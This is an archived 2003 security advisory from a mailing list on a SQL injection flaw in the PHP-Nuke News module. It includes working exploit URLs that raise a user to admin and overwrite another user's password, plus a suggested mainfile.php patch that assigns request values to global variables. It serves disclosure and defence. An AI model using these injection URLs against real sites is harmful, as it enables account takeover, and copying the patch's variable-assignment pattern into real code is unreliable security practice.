[UNIX] PHP-Nuke 'News' Module SQL Injection

From: support@securiteam.com
Date: 03/23/03

  • Next message: support@securiteam.com: "[EXPL] WebDAV Exploit Code Released"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 23 Mar 2003 22:14:58 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      PHP-Nuke 'News' Module SQL Injection
    ------------------------------------------------------------------------

    SUMMARY

    A security vulnerability in PHP-Nuke allows remote attackers to utilize
    PHP-Nuke's News module to insert malicious SQL statements into existing
    ones, thus gaining elevated privileges, and access to other user's
    accounts.

    DETAILS

    Vulnerable systems:
     * PHP-Nuke versions 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, and 6.5

    Exploits:
    Change our level (into admin):
    http://[target]/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4
    http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',user_level='4
    http://[target]/modules.php?name=News&file=article&sid=1&save=1&thold=',user_level='4

    Using these URLs will transform this SQL statement:
    UPDATE nuke_users SET umode='111', uorder='111', thold='111' where
    uid='1526'

    Into:
    UPDATE nuke_users SET umode='', user_level='4', uorder='111', thold='111'
    where uid='1526'

    Giving us elevated privileges

    Change the Bob's password:
    http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*

    Using the above URL will transform the following SQL statement:
    UPDATE nuke_users SET umode='111',
    uorder='',pass='d41d8cd98f00b204e9800998ecf8427e', thold='111' where
    uid='1526'

    Into:
    UPDATE nuke_users SET umode='111',
    uorder='',pass='d41d8cd98f00b204e9800998ecf8427e' where uname='Bob'/*',
    thold='111' where uid='1526'

    Solution:
    In mainfile.php, replace:
    [...]
    foreach ($_GET as $secvalue) {
        if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
    (eregi("\.\.", $secvalue)) ||
    (eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
    (eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
    (eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
    (eregi("\"", $secvalue))) {
    Header("Location: index.php");
    die();
        }
    }

    foreach ($_POST as $secvalue) {
        if (eregi("<[^>]*script*\"?[^>]*>", $secvalue)) {
    Header("Location: index.php");
    die();
        }
    }
    [...]

    With:
    foreach ($_REQUEST as $key=>$value) {

        if (get_magic_quotes_gpc()==0) {
            $value = addslashes($value); // This will reproduce the option
    magic_quotes_gpc=1
        }

        $value =
    str_replace(array(')','=','<','>','|'),array('&#41;','&#61;','&#60;','&#62;','&#124;'),$value);

        ${$key} = $value;
        $_REQUEST[$key] = $value;
        if (isset($_POST[$key])) { $_POST[$key] = $value; }
        if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; }
        if (isset($_FILE[$key])) { $_FILE[$key] = $value; }
        if (isset($_GET[$key])) { $_GET[$key] = $value; }
        if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value; }
        if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] =
    $value;
    }
        if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value; }
        if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; }
    }

    A patch can be found on <http://www.phpsecure.info>
    http://www.phpsecure.info.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
    Man.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: support@securiteam.com: "[EXPL] WebDAV Exploit Code Released"

    Relevant Pages

    • [UNIX] Sensitive Information Disclosure Vulnerability Found in SIPS (PHP)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A security vulnerability in the product allows attackers to get access to ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] Multiple Vulnerabilities Found in PVote
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PVote is a PHP voting system. ... Delete vulnerability: ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NT] Dynu FTP Server Directory Traversal Vulnerability
      ... Dynu FTP Server Directory Traversal Vulnerability ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NEWS] Hushmail.com Accounts Vulnerable to Script Attack
      ... Hushmail.com Accounts Vulnerable to Script Attack ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The vulnerability has been fixed on 13 September 2001 ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] Multiple pwck/grpck Privilege Elevation Vulnerabilities (Exploit code)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... vulnerability in the program allows attackers to execute of arbitrary code ... int main{ ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)